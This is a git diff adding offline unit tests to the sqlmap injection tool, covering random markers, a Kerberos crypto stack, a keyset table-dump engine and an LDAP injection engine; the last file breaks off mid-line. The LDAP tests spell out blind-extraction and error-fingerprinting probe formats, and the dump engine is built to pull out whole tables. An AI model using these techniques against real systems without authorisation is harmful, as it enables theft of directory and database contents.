/dev/null +++ b/tests/test_kbchars.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Invariants of the random markers in kb.chars (lib/core/option.py). + +These markers are drawn at random once per run, so a collision between two of them is a +heisenbug: it corrupts extraction only in the fraction of runs that happen to draw the same +value twice. Both collisions below were observed and are pinned here. + + start/stop wrap the delimited output. Equal values make the output ambiguous + (a two-row result then carries four identical markers instead of + two pairs), so the parsing returns garbage or nothing at all. + at/space/dollar/hash_ stand in for '@', ' ', '$' and '#' inside a single chained REPLACE() + (see the Oracle XMLType vectors in error_based.xml). Two equal + markers make _errorReplaceChars() restore whichever character it + tries first, so e.g. an '@' in an e-mail column comes back as ' '. + +The loop count is what matters: the smaller alphabet collides once every ~512 draws and the +single-letter one every ~5, so a single sample proves nothing. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import kb +from lib.core.option import _setKnowledgeBaseAttributes + +ROUNDS = 3000 + +MARKERS = ("start", "stop", "at", "space", "dollar", "hash_") + + +class KbCharsDistinctTest(unittest.TestCase): + """Re-draws the markers many times. kb is global, so it is snapshotted and put back - + leaking a fresh kb into the rest of the suite is how this bug got noticed in the first place.""" + + def setUp(self): + self._saved = dict(kb) + + def tearDown(self): + kb.clear() + kb.update(self._saved) + + def test_markers_never_collide(self): + for i in range(ROUNDS): + _setKnowledgeBaseAttributes() + drawn = [getattr(kb.chars, _) for _ in MARKERS] + self.assertEqual(len(set(drawn)), len(MARKERS), + msg="colliding kb.chars markers on round %d: %s" % (i, dict(zip(MARKERS, drawn)))) + + def test_markers_never_contain_each_other(self): + # whole-string distinctness is not enough: the boundary character wrapping every marker used + # to be drawn for the inner letters as well, so a start marker could render as 'qzqxq', which + # carries the perfectly legal replacement marker 'qzq' (and 'qxq') inside it + for i in range(ROUNDS): + _setKnowledgeBaseAttributes() + drawn = [getattr(kb.chars, _) for _ in MARKERS] + for one in drawn: + for other in drawn: + if one is not other: + self.assertNotIn(other, one, + msg="kb.chars marker %r contains %r on round %d" % (one, other, i)) + + def test_markers_keep_their_shape(self): + # the fix must not change the on-the-wire length of a payload + for _ in range(ROUNDS // 100): + _setKnowledgeBaseAttributes() + self.assertEqual(len(kb.chars.start), 5) + self.assertEqual(len(kb.chars.stop), 5) + for name in ("at", "space", "dollar", "hash_"): + self.assertEqual(len(getattr(kb.chars, name)), 3, msg=name) + self.assertEqual(len(kb.chars.delimiter), 6) + + def test_kb_is_restored(self): + # guards the snapshot above, so a later failure elsewhere is never blamed on this file + _setKnowledgeBaseAttributes() + self.assertNotEqual(dict(kb).get("chars"), self._saved.get("chars")) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_kerberos.py b/tests/test_kerberos.py new file mode 100644 index 00000000000..47069d593ef --- /dev/null +++ b/tests/test_kerberos.py @@ -0,0 +1,322 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tests for the dependency-free Kerberos stack under extra/kerberos: the AES core (FIPS-197), the +RFC 3961/3962 etype crypto (n-fold, string-to-key, authenticated encryption) and the ASN.1 DER codec. +All assertions use published FIPS/RFC test vectors, so they validate the crypto and encoding offline +(the AS/TGS protocol and the HTTP Negotiate handler are exercised against a live KDC, not here). +""" + +import binascii +import os +import struct +import sys +import tempfile +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from extra.kerberos import client +from extra.kerberos import der +from extra.kerberos import discovery +from extra.kerberos.aes import AES +from extra.kerberos.crypto import ENCTYPES, nfold +from lib.request.kerberos import _expiring + + +def _dnsName(name): + out = bytearray() + for label in name.split("."): + out.append(len(label)) + out += label.encode("ascii") + out.append(0) + return bytes(out) + + +def _h(value): + return binascii.unhexlify(value) + + +def _etypeInfo2Entry(etype, salt=None, iterations=None): + parts = [der.tagged(0, der.integer(etype))] + if salt is not None: + parts.append(der.tagged(1, der.generalString(salt))) + if iterations is not None: + parts.append(der.tagged(2, der.octetString(struct.pack(">I", iterations)))) + return der.sequence(*parts) + + +def _preauthError(entries): + """The error-field map a KDC_ERR_PREAUTH_REQUIRED reply advertising 'entries' would produce.""" + + paData = der.sequence( + der.tagged(1, der.integer(19)), # PA-ETYPE-INFO2 + der.tagged(2, der.octetString(der.sequenceOf(entries))), + ) + return {12: der.octetString(der.sequenceOf([paData]))} + + + + +class TestKerberosAES(unittest.TestCase): + def test_fips197_known_answer(self): + # FIPS-197 Appendix C.1 (AES-128) and C.3 (AES-256) + for key, pt, ct in ( + ("000102030405060708090a0b0c0d0e0f", + "00112233445566778899aabbccddeeff", "69c4e0d86a7b0430d8cdb78070b4c55a"), + ("000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f", + "00112233445566778899aabbccddeeff", "8ea2b7ca516745bfeafc49904b496089"), + ): + aes = AES(_h(key)) + self.assertEqual(aes.encryptBlock(_h(pt)), _h(ct)) + self.assertEqual(aes.decryptBlock(_h(ct)), _h(pt)) + + def test_cbc_round_trip(self): + aes = AES(_h("00" * 32)) + iv, data = _h("0f" * 16), os.urandom(64) + self.assertEqual(aes.cbcDecrypt(iv, aes.cbcEncrypt(iv, data)), data) + + +class TestKerberosCrypto(unittest.TestCase): + def test_nfold_rfc3961(self): + # RFC 3961 Appendix A.1 + for text, size, expected in ( + ("012345", 8, "be072631276b1955"), + ("password", 7, "78a07b6caf85fa"), + ("Rough Consensus, and Running Code", 8, "bb6ed30870b7f0e0"), + ("password", 21, "59e4a8ca7c0385c3c37b3f6d2000247cb6e6bd5b3e"), + ("MASSACHVSETTS INSTITVTE OF TECHNOLOGY", 24, + "db3b0d8f0b061e603282b308a50841229ad798fab9540c1b"), + ): + self.assertEqual(binascii.hexlify(nfold(text.encode(), size)).decode(), expected) + + def test_string2key_rfc3962(self): + # RFC 3962 Appendix B (pass 'password', salt 'ATHENA.MIT.EDUraeburn') + for iterations, keysize, expected in ( + (1, 16, "42263c6e89f4fc28b8df68ee09799f15"), + (1, 32, "fe697b52bc0d3ce14432ba036a92e65bbb52280990a2fa27883998d72af30161"), + (1200, 16, "4c01cd46d632d01e6dbe230a01ed642a"), + (1200, 32, "55a6ac740ad17b4846941051e1e8b0a7548d93b0ab30a8bc3ff16280382b8c2a"), + ): + key = ENCTYPES[17 if keysize == 16 else 18].string2key("password", "ATHENA.MIT.EDUraeburn", iterations) + self.assertEqual(binascii.hexlify(key).decode(), expected) + + def test_encrypt_decrypt_round_trip(self): + for etype in (17, 18): + enc = ENCTYPES[etype] + key = os.urandom(enc.keysize) + for length in (0, 1, 15, 16, 17, 31, 32, 100): + plaintext = os.urandom(length) + self.assertEqual(enc.decrypt(key, 1024, enc.encrypt(key, 1024, plaintext)), plaintext) + + def test_integrity_check(self): + enc = ENCTYPES[18] + key = os.urandom(32) + ciphertext = bytearray(enc.encrypt(key, 3, b"secret")) + ciphertext[-1] ^= 1 + self.assertRaises(ValueError, enc.decrypt, key, 3, bytes(ciphertext)) + + def test_decrypt_short_ciphertext(self): + # a hostile/truncated enc-part (< blocksize + macsize) must raise ValueError, not IndexError + enc = ENCTYPES[18] + key = os.urandom(32) + for length in (0, 1, 12, 27): + self.assertRaises(ValueError, enc.decrypt, key, 3, os.urandom(length)) + + def test_string2key_bytes_salt(self): + # the salt is opaque octets (RFC 3961): a bytes salt must derive the same key as the str form + enc = ENCTYPES[18] + self.assertEqual(enc.string2key("password", b"ATHENA.MIT.EDUraeburn", 1200), + enc.string2key("password", "ATHENA.MIT.EDUraeburn", 1200)) + + +class TestKerberosRC4(unittest.TestCase): + def test_nt_hash_string2key(self): + # rc4-hmac long-term key is the NT hash: MD4(UTF-16LE(password)) + self.assertEqual(binascii.hexlify(ENCTYPES[23].string2key("password")).decode(), + "8846f7eaee8fb117ad06bdd830b7586c") + + def test_encrypt_decrypt_round_trip(self): + enc = ENCTYPES[23] + key = enc.string2key("Secret123") + for length in (0, 1, 16, 100): + plaintext = os.urandom(length) + self.assertEqual(enc.decrypt(key, 1024, enc.encrypt(key, 1024, plaintext)), plaintext) + + def test_integrity_check(self): + enc = ENCTYPES[23] + key = enc.string2key("x") + ciphertext = bytearray(enc.encrypt(key, 3, b"secret")) + ciphertext[-1] ^= 1 + self.assertRaises(ValueError, enc.decrypt, key, 3, bytes(ciphertext)) + + +class TestKerberosDER(unittest.TestCase): + def test_integer_canonical(self): + for value, expected in ((0, "020100"), (127, "02017f"), (128, "02020080"), + (256, "02020100"), (-1, "0201ff"), (-129, "0202ff7f")): + self.assertEqual(binascii.hexlify(der.integer(value)).decode(), expected) + self.assertEqual(der.decodeInteger(der.peel(der.integer(value))[1]), value) + + def test_application_tags(self): + self.assertEqual(bytearray(der.application(10, der.sequence()))[0], 0x6a) # AS-REQ + self.assertEqual(bytearray(der.application(14, der.sequence()))[0], 0x6e) # AP-REQ + self.assertEqual(bytearray(der.tagged(0, der.integer(1)))[0], 0xa0) # [0] EXPLICIT + + def test_nested_round_trip(self): + pname = der.sequence( + der.tagged(0, der.integer(1)), + der.tagged(1, der.sequenceOf([der.generalString("HTTP"), der.generalString("web.example.com")])), + ) + _, content, _ = der.peel(pname) + fields = dict(der.children(content)) + components = [der.decodeGeneralString(c) for _, c in der.children(der.peel(fields[0xa1])[1])] + self.assertEqual(der.decodeInteger(der.peel(fields[0xa0])[1]), 1) + self.assertEqual(components, ["HTTP", "web.example.com"]) + + +class TestKerberosClient(unittest.TestCase): + def test_malformed_reply_raises_kerberoserror(self): + # a hostile/truncated KDC reply must surface as KerberosError, never a raw parse exception + key, nonce = os.urandom(32), 0x11223344 + for blob in (b"", b"\x7e\x01", b"\x6b\x02\x30\x00", os.urandom(40)): + self.assertRaises(client.KerberosError, client._parseRep, blob, key, 3, nonce, client.AS_REP) + self.assertRaises(client.KerberosError, client._replyEtype, blob) + + def test_etype_info2_best_effort(self): + # a malformed PA-ETYPE-INFO2 must yield no advertised info (fall back to defaults), not crash + self.assertEqual(client._preauthHints({12: der.octetString(b"\xff\xff\xff")}), {}) + self.assertEqual(client._preauthHints({}), {}) + self.assertEqual(client._etypeHints(der.octetString(b"\xff\xff\xff")), {}) + + def test_etype_info2_hints(self): + hints = client._preauthHints(_preauthError([_etypeInfo2Entry(18, "SALT", 4096), + _etypeInfo2Entry(23)])) + self.assertEqual(hints, {18: (b"SALT", 4096), 23: (None, None)}) + + def test_iteration_count_policy(self): + # the hint is unauthenticated: a count that would cheapen an offline attack or stall the scan + # for hours must be refused, and 0 (nominally 2**32) is not silently taken as the default + self.assertIsNone(client._validatedIterations(None)) + self.assertEqual(client._validatedIterations(4096), 4096) + for bogus in (0, 1, 1000, client.MAX_PBKDF2_ITERATIONS + 1, 0xFFFFFFFF): + self.assertRaises(client.KerberosError, client._validatedIterations, bogus) + + def test_hint_cannot_override_pinned_salt(self): + hints = {18: (b"KDCSALT", 4096)} + self.assertEqual(client._hintFor(hints, 18, "PINNED", "PINNED"), ("PINNED", 4096)) + self.assertEqual(client._hintFor(hints, 18, None, "DEFAULT"), (b"KDCSALT", 4096)) + self.assertEqual(client._hintFor(hints, 17, None, "DEFAULT"), ("DEFAULT", None)) + + def test_etype_selection_honours_client_preference(self): + # Exercises the REAL getTGT selection (client._selectEtype, not a copy): a spoofed hint must + # not pull the client onto an etype it never offered, and our own preference order wins. + hints = client._preauthHints(_preauthError([_etypeInfo2Entry(23), _etypeInfo2Entry(18)])) + self.assertEqual(client._selectEtype((18, 17), hints), 18) # 18 offered+hinted + self.assertEqual(client._selectEtype((17, 18), hints), 18) # KDC listed rc4(23) first, we still pick our offered+hinted 18 + # KDC hints ONLY rc4(23), which we did NOT offer -> must fall back to our top offered (18), never 23 + onlyRc4 = client._preauthHints(_preauthError([_etypeInfo2Entry(23)])) + self.assertEqual(client._selectEtype((18, 17), onlyRc4), 18) + + def test_authenticator_timestamps_are_unique(self): + # an acceptor's replay cache keys on (ctime, cusec), and a threaded scan mints one per request + stamps = [client._timestamp() for _ in range(2000)] + self.assertEqual(len(set(stamps)), len(stamps)) + self.assertTrue(all(0 <= cusec <= 999999 for _, cusec in stamps)) + + def test_authenticator_carries_seq_number(self): + # RFC 4121 expects a sequence number in the GSS mechanism's initial AP-REQ authenticator + fields = client._fields(der.peel(der.peel( + client._authenticator("EXAMPLE.COM", ["user"], seqNumber=0x11223344))[1])[1]) + self.assertEqual(client._expInteger(fields[7]), 0x11223344) + self.assertNotIn(7, client._fields(der.peel(der.peel( + client._authenticator("EXAMPLE.COM", ["user"]))[1])[1])) + + def test_kerberos_time_round_trip(self): + self.assertEqual(client._expTime(der.generalizedTime("19700101000010Z")), 10) + self.assertIsNone(client._expTime(der.generalizedTime("not-a-time"))) + + +class TestKerberosTicketCache(unittest.TestCase): + def test_expiring(self): + now = time.time() + self.assertFalse(_expiring(None)) + self.assertFalse(_expiring({"endtime": None})) # a KDC that sent no parsable endtime + self.assertFalse(_expiring({"endtime": now + 36000})) + self.assertTrue(_expiring({"endtime": now - 1})) # already expired + self.assertTrue(_expiring({"endtime": now + 60})) # inside the refresh skew + + +class TestKerberosDiscovery(unittest.TestCase): + def test_krb5conf(self): + content = ("[realms]\n" + " EXAMPLE.COM = {\n kdc = dc1.example.com:88\n admin_server = dc1.example.com\n }\n" + " OTHER.COM = { kdc = other-dc }\n" + # a nested '{ }' block ahead of 'kdc =' must not truncate the realm section + " NESTED.COM = {\n auth_to_local_names = {\n joe = joe\n }\n kdc = dc.nested.com\n }\n") + handle, path = tempfile.mkstemp() + os.write(handle, content.encode("utf-8")) + os.close(handle) + saved = os.environ.get("KRB5_CONFIG") + os.environ["KRB5_CONFIG"] = path + try: + self.assertEqual(discovery._fromKrb5Conf("EXAMPLE.COM"), "dc1.example.com:88") + self.assertEqual(discovery._fromKrb5Conf("OTHER.COM"), "other-dc") + self.assertEqual(discovery._fromKrb5Conf("NESTED.COM"), "dc.nested.com") + self.assertIsNone(discovery._fromKrb5Conf("MISSING.COM")) + finally: + os.remove(path) + os.environ.pop("KRB5_CONFIG", None) if saved is None else os.environ.__setitem__("KRB5_CONFIG", saved) + + def test_split_host_port(self): + self.assertEqual(discovery._splitHostPort("dc.example.com"), ("dc.example.com", 88)) + self.assertEqual(discovery._splitHostPort("dc.example.com:1088"), ("dc.example.com", 1088)) + self.assertEqual(discovery._splitHostPort("[2001:db8::1]:1088"), ("2001:db8::1", 1088)) + self.assertEqual(discovery._splitHostPort("[2001:db8::1]"), ("2001:db8::1", 88)) + self.assertEqual(discovery._splitHostPort("2001:db8::1"), ("2001:db8::1", 88)) + + def test_srv_parse(self): + header = struct.pack(">HHHHHH", 0x2a2a, 0x8180, 1, 1, 0, 0) + question = _dnsName("_kerberos._tcp.EXAMPLE.COM") + struct.pack(">HH", 33, 1) + rdata = struct.pack(">HHH", 0, 100, 88) + _dnsName("dc.example.com") + answer = b"\xc0\x0c" + struct.pack(">HHIH", 33, 1, 300, len(rdata)) + rdata # name = ptr to question + self.assertEqual(discovery.parseSrv(header + question + answer), [(0, 100, 88, "dc.example.com")]) + + def test_srv_parse_hostile_input(self): + # a compression-pointer cycle (name at offset 12 points to itself) must not hang or crash + cycle = struct.pack(">HHHHHH", 1, 0x8180, 0, 1, 0, 0) + b"\xc0\x0c" + self.assertEqual(discovery.parseSrv(cycle), []) + self.assertEqual(discovery.parseSrv(b""), []) + self.assertEqual(discovery.parseSrv(b"\x00\x00\x81\x80\x00\x00\x00\x05\xff\xff"), []) + + def test_precedence_env_overrides(self): + saved = os.environ.get("SQLMAP_KERBEROS_KDC") + os.environ["SQLMAP_KERBEROS_KDC"] = "10.0.0.1:8888" + try: + self.assertEqual(discovery.discoverKdc("EXAMPLE.COM"), ("10.0.0.1", 8888)) + finally: + os.environ.pop("SQLMAP_KERBEROS_KDC", None) if saved is None else os.environ.__setitem__("SQLMAP_KERBEROS_KDC", saved) + + def test_fallback_to_realm(self): + savedEnv = os.environ.pop("SQLMAP_KERBEROS_KDC", None) + savedCfg = os.environ.get("KRB5_CONFIG") + os.environ["KRB5_CONFIG"] = "/nonexistent/sqlmap-krb5.conf" + savedDns = discovery._fromDnsSrv + discovery._fromDnsSrv = lambda realm: None # avoid real DNS I/O in the test + try: + self.assertEqual(discovery.discoverKdc("CORP.EXAMPLE"), ("corp.example", 88)) + finally: + discovery._fromDnsSrv = savedDns + if savedEnv is not None: + os.environ["SQLMAP_KERBEROS_KDC"] = savedEnv + os.environ.pop("KRB5_CONFIG", None) if savedCfg is None else os.environ.__setitem__("KRB5_CONFIG", savedCfg) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_keyset_engine.py b/tests/test_keyset_engine.py new file mode 100644 index 00000000000..b2090b52da8 --- /dev/null +++ b/tests/test_keyset_engine.py @@ -0,0 +1,128 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The keyset (seek) pagination dump engine (lib/utils/keysetdump.py). + +Large tables are dumped one row at a time by seeking on an indexed cursor (a +row-id or the primary key). For a COMPOSITE key the walk must advance the tuple +lexicographically. Doing that with an ANSI row-value comparison ((a,b)>(x,y)) +breaks on back-ends without row-value support (MSSQL/Oracle): the advance query +errors, the walk stops after the very first row and the rest of the table is +silently dropped (proven live against MSSQL: a 5-row table dumped a single row). + +We drive the REAL keysetDumpTable against a mock oracle backing a small table. +The mock has a knob to REJECT ANSI row-value comparisons (like MSSQL/Oracle); +the composite walk must still retrieve every row via the portable +(a>x) OR (a=x AND b>y) predicate. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.request import inject +import lib.utils.keysetdump as ks + +# table with a COMPOSITE key (a, b), kept in (a, b) order; third column is plain data +_ROWS = [(1, 1, "alpha"), (1, 2, "beta"), (2, 5, "gamma"), (3, 1, "delta"), (3, 2, "epsilon")] +_COL_INDEX = {"a": 0, "b": 1, "d": 2} + + +def _condTrue(cond, row): + """Evaluate a (simple) SQL WHERE condition emitted by keysetdump against one row.""" + a, b, d = row + expr = cond.replace(" AND ", " and ").replace(" OR ", " or ") + expr = re.sub(r"\bd\b", repr(d), expr) + expr = re.sub(r"\ba\b", str(a), expr) + expr = re.sub(r"\bb\b", str(b), expr) + expr = expr.replace("=", "==") + return bool(eval(expr)) + + +class TestKeysetCompositeCursor(unittest.TestCase): + def setUp(self): + self._s = { + "db": conf.get("db"), "limitStart": conf.get("limitStart"), "limitStop": conf.get("limitStop"), + "dumpWhere": conf.get("dumpWhere"), "cachedColumns": kb.data.get("cachedColumns"), + "gv": inject.getValue, + } + conf.db = "testdb" + conf.limitStart = conf.limitStop = conf.dumpWhere = None + kb.data.cachedColumns = {} + set_dbms("MySQL") + + def tearDown(self): + conf.db = self._s["db"] + conf.limitStart = self._s["limitStart"] + conf.limitStop = self._s["limitStop"] + conf.dumpWhere = self._s["dumpWhere"] + kb.data.cachedColumns = self._s["cachedColumns"] + inject.getValue = self._s["gv"] + + def _install_oracle(self, rowValueSupported, dropped=()): + def oracle(query=None, **kwargs): + # a back-end without ANSI row-value support errors on (a,b)>(x,y) -> no result + if re.search(r"\)\s*>\s*\(", query or "") and not rowValueSupported: + return None + m = re.search(r"SELECT (\w+) FROM .+? WHERE (.+) ORDER BY .+ LIMIT 1", query or "") # advance + if m: + cand = sorted(r for r in _ROWS if _condTrue(m.group(2), r)) + if not cand: + return None + if (m.group(1), cand[0]) in dropped: # a key cell the channel did not bring back + return None + return str(cand[0][_COL_INDEX[m.group(1)]]) + m = re.search(r"SELECT MAX\((\w+)\) FROM .+? WHERE (.+)", query or "") # point fetch + if m: + cand = [r for r in _ROWS if _condTrue(m.group(2), r)] + return None if not cand else str(cand[0][_COL_INDEX[m.group(1)]]) + return None + + inject.getValue = oracle + + def _walk(self, rowValueSupported, dropped=()): + """The raw result: (entries, lengths), or None when the walk gave up and the caller must fall back.""" + + self._install_oracle(rowValueSupported, dropped) + + return ks.keysetDumpTable("users", ["a", "b", "d"], len(_ROWS), ["a", "b"]) + + def _dump(self, rowValueSupported, dropped=()): + entries, _ = self._walk(rowValueSupported, dropped) + + return list(zip(entries["a"], entries["b"], entries["d"])) + + def test_all_rows_when_row_value_supported(self): + rows = self._dump(rowValueSupported=True) + self.assertEqual(len(rows), len(_ROWS)) + + def test_all_rows_when_row_value_rejected(self): + # MSSQL/Oracle case: the composite walk must NOT truncate to the first row + rows = self._dump(rowValueSupported=False) + self.assertEqual(len(rows), len(_ROWS)) + self.assertEqual([r[2] for r in rows], [r[2] for r in _ROWS]) + + def test_unretrieved_key_cell_is_handed_back_for_the_offset_fallback(self): + # one key column of a row that does not come back (an error-channel miss, a blocked payload) + # leaves a None in the cursor tuple. Seeking on it is impossible, so the walk must hand back + # NOTHING - it used to format that None into the next seek predicate (a TypeError, issue + # #6097) and, once the predicate became a plain '%s', to emit a row of empty cells and then + # silently truncate the table + self.assertIsNone(self._walk(rowValueSupported=True, dropped={("b", (2, 5, "gamma"))})) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_ldap.py b/tests/test_ldap.py new file mode 100644 index 00000000000..890bebe445c --- /dev/null +++ b/tests/test_ldap.py @@ -0,0 +1,516 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the LDAP injection engine. Mock oracles stand in for the +HTTP/LDAP layer so detection, fingerprinting, blind inference, and output formatting can +be exercised without a live target. +""" + +import unittest + +from _testutils import bootstrap +bootstrap() + +import lib.techniques.ldap.inject as ldap + +# several setUps here write these conf keys without restoring them; snapshot/restore at the module +# boundary so they can't leak into later test modules (order-dependent flakiness) +_LDAP_CONF_KEYS = ("parameters", "paramDict", "skipUrlEncode", "cookieDel") +_saved_conf = {} + +def setUpModule(): + from lib.core.data import conf + for k in _LDAP_CONF_KEYS: + _saved_conf[k] = conf.get(k) + +def tearDownModule(): + from lib.core.data import conf + for k, v in _saved_conf.items(): + conf[k] = v + +# --- Helpers ---------------------------------------------------------------- + +SENTINEL = ldap.SENTINEL + + +def _mockOracle(value): + """Build a mock extract oracle that knows the full target value. Probes + use _ProbeBuilder.prefix() which encodes via _ldapLiteral and + _transportEncode; reverse both so the plain prefix can be compared.""" + class Oracle(object): + def extract(self, probe): + # Decode %xx transport escapes (done by _transportEncode). + # Order matters: %25 (literal '%') must be decoded before other + # %xx sequences whose '%' came from the *encoding* pass. + def _transportDecode(s): + s = s.replace("%25", "\x00") # placeholder for literal % + s = s.replace("%23", "#") + s = s.replace("%26", "&") + s = s.replace("%2B", "+") + s = s.replace("%3D", "=") + s = s.replace("%20", " ") + s = s.replace("\x00", "%") # restore literal % + return s + + # Decode LDAP \xx hex escapes (done by _ldapLiteral). + def _ldapDecode(s): + return re.sub(r"\\([0-9a-fA-F]{2})", + lambda m: chr(int(m.group(1), 16)), s) + + # Probe format: SENTINEL)(attr=_ldapLiteral(prefix_char)* + idx = probe.rfind(")(") + if idx < 0: + return False + rest = probe[idx + 2:] # after )( + if "=" not in rest or not rest.endswith("*"): + return False + inner = rest[:-1] # strip trailing * + attr, val = inner.split("=", 1) + prefix = _transportDecode(_ldapDecode(val)) + return value.startswith(prefix) + return Oracle() + + +import re + + +# --- Tests ------------------------------------------------------------------ + +class TestHelpers(unittest.TestCase): + def test_ratio_identical(self): + self.assertGreater(ldap._ratio("abc", "abc"), 0.9) + + def test_ratio_different(self): + self.assertLess(ldap._ratio("abc", "xyz"), 0.5) + + def test_ratio_none(self): + self.assertEqual(ldap._ratio(None, "abc"), 0.0) + self.assertEqual(ldap._ratio("abc", None), 0.0) + + def test_delim_get(self): + from lib.core.enums import PLACE + self.assertEqual(ldap._delim(PLACE.GET), '&') + + def test_delim_cookie_default(self): + from lib.core.enums import PLACE + self.assertEqual(ldap._delim(PLACE.COOKIE), ';') + + def test_originalValue(self): + from lib.core.enums import PLACE + from lib.core.data import conf + conf.parameters = {PLACE.GET: 'q=test&x=123'} + conf.paramDict = {PLACE.GET: {'q': 'test', 'x': '123'}} + self.assertEqual(ldap._originalValue(PLACE.GET, 'q'), 'test') + self.assertEqual(ldap._originalValue(PLACE.GET, 'x'), '123') + + def test_replaceSegment(self): + from lib.core.enums import PLACE + from lib.core.data import conf + conf.parameters = {PLACE.GET: 'q=old&x=123'} + conf.paramDict = {PLACE.GET: {'q': 'old', 'x': '123'}} + result = ldap._replaceSegment(PLACE.GET, 'q', 'new') + self.assertIn('q=new', result) + self.assertIn('x=123', result) + + +class TestFingerprinting(unittest.TestCase): + # The mapping branches recognise a distinctive vendor substring *anywhere* inside + # a realistic error banner and normalise it to a canonical backend name. Feeding + # an embedded substring (not the bare canonical name) proves the source performs + # real substring discrimination rather than echoing its input. + def test_fingerprintByError_ad(self): + self.assertEqual( + ldap._fingerprintByError("LDAP error from Microsoft Active Directory server"), + "Microsoft Active Directory") + + def test_fingerprintByError_openldap(self): + self.assertEqual(ldap._fingerprintByError("OpenLDAP 2.4.57 SERVER_DOWN"), + "OpenLDAP") + + def test_fingerprintByError_apacheds(self): + self.assertEqual(ldap._fingerprintByError("org.apache.directory.ApacheDS 2.0"), + "ApacheDS") + + def test_fingerprintByError_oracle(self): + self.assertEqual(ldap._fingerprintByError("Oracle Internet Directory / Oracle stack"), + "Oracle Directory Server") + + def test_fingerprintByError_389(self): + self.assertEqual(ldap._fingerprintByError("Red Hat 389 ns-slapd"), + "389 Directory Server") + + def test_fingerprintByError_precedence_ad_over_oracle(self): + # A banner carrying two recognised substrings resolves to the earlier branch + # (Active Directory), proving the result is driven by branch order, not by an + # echo of whichever name happens to appear. + self.assertEqual( + ldap._fingerprintByError("Microsoft Active Directory bridged to Oracle"), + "Microsoft Active Directory") + + def test_fingerprintByError_none_and_empty(self): + # The only real branch reachable by non-mapping banners: the falsy guard. + self.assertIsNone(ldap._fingerprintByError(None)) + self.assertIsNone(ldap._fingerprintByError("")) + + def test_fingerprintByError_passthrough_when_unmatched(self): + # Banners that match no vendor branch (including the "python-ldap"/"Java JNDI" + # case, whose source branch is observationally identical to the catch-all) are + # returned verbatim. This single test documents that pass-through contract and, + # crucially, asserts such banners are NOT misclassified into a specific backend. + for banner in ("Generic LDAP", "python-ldap 3.4.0", "Caused by: Java JNDI", + "some unrecognised directory service"): + result = ldap._fingerprintByError(banner) + self.assertEqual(result, banner) + self.assertNotIn(result, ("Microsoft Active Directory", "OpenLDAP", + "ApacheDS", "Oracle Directory Server", + "389 Directory Server")) + + +class TestGrid(unittest.TestCase): + def test_grid_simple(self): + cols = ["attr", "value"] + rows = [("uid", "admin"), ("cn", "Admin User")] + output = ldap._grid(cols, rows) + self.assertIn("attr", output) + self.assertIn("uid", output) + self.assertIn("admin", output) + self.assertIn("cn", output) + self.assertIn("Admin User", output) + + def test_grid_empty(self): + output = ldap._grid(["a"], []) + self.assertIn("a", output) + + def test_grid_single_row(self): + cols = ["col"] + rows = [("val",)] + output = ldap._grid(cols, rows) + self.assertIn("col", output) + self.assertIn("val", output) + + +class TestErrorDetection(unittest.TestCase): + def setUp(self): + from lib.core.enums import PLACE + from lib.core.data import conf + conf.parameters = {PLACE.GET: 'q=x'} + conf.paramDict = {PLACE.GET: {'q': 'x'}} + conf.skipUrlEncode = False + conf.cookieDel = ';' + + self._originalSend = ldap._send + + def tearDown(self): + ldap._send = self._originalSend + + def test_detectError_openldap(self): + ldap._send = lambda p, pm, v: ( + "Bad search filter (-7)" if ")" in (v or "") else "OK" + ) + from lib.core.enums import PLACE + backend, _ = ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertEqual(backend, "OpenLDAP") + + def test_detectError_ad(self): + ldap._send = lambda p, pm, v: ( + "LDAP: error code 49 - 80090308: LdapErr: DSID-0C090308, " + "comment: AcceptSecurityContext error, data 525" if ")" in (v or "") else "OK" + ) + from lib.core.enums import PLACE + backend, _ = ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertEqual(backend, "Microsoft Active Directory") + + def test_detectError_apacheds(self): + ldap._send = lambda p, pm, v: ( + "javax.naming.directory.InvalidSearchFilterException: Unbalanced parenthesis" + if ")" in (v or "") else "OK" + ) + from lib.core.enums import PLACE + backend, _ = ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertEqual(backend, "ApacheDS") + + def test_detectError_notInjected(self): + ldap._send = lambda p, pm, v: "OK" + from lib.core.enums import PLACE + backend, _ = ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertIsNone(backend) + + def test_detectError_uses_ldap_metacharacter(self): + """Blockers 1: error detection must use LDAP filter metacharacter, + not an apostrophe (which is not an LDAP special char).""" + # Verify the probe appends ')' (unbalanced paren), not "'" (SQL quote) + calls = [] + ldap._send = lambda p, pm, v: calls.append(v) or "OK" + from lib.core.enums import PLACE + ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertTrue(any(v.endswith(')') for v in calls)) + self.assertFalse(any("'" in v for v in calls if len(v) > 2)) + + +class TestBooleanDetection(unittest.TestCase): + def setUp(self): + from lib.core.enums import PLACE + from lib.core.data import conf + conf.parameters = {PLACE.GET: 'q=x'} + conf.paramDict = {PLACE.GET: {'q': 'x'}} + conf.skipUrlEncode = False + conf.cookieDel = ';' + + self._originalSend 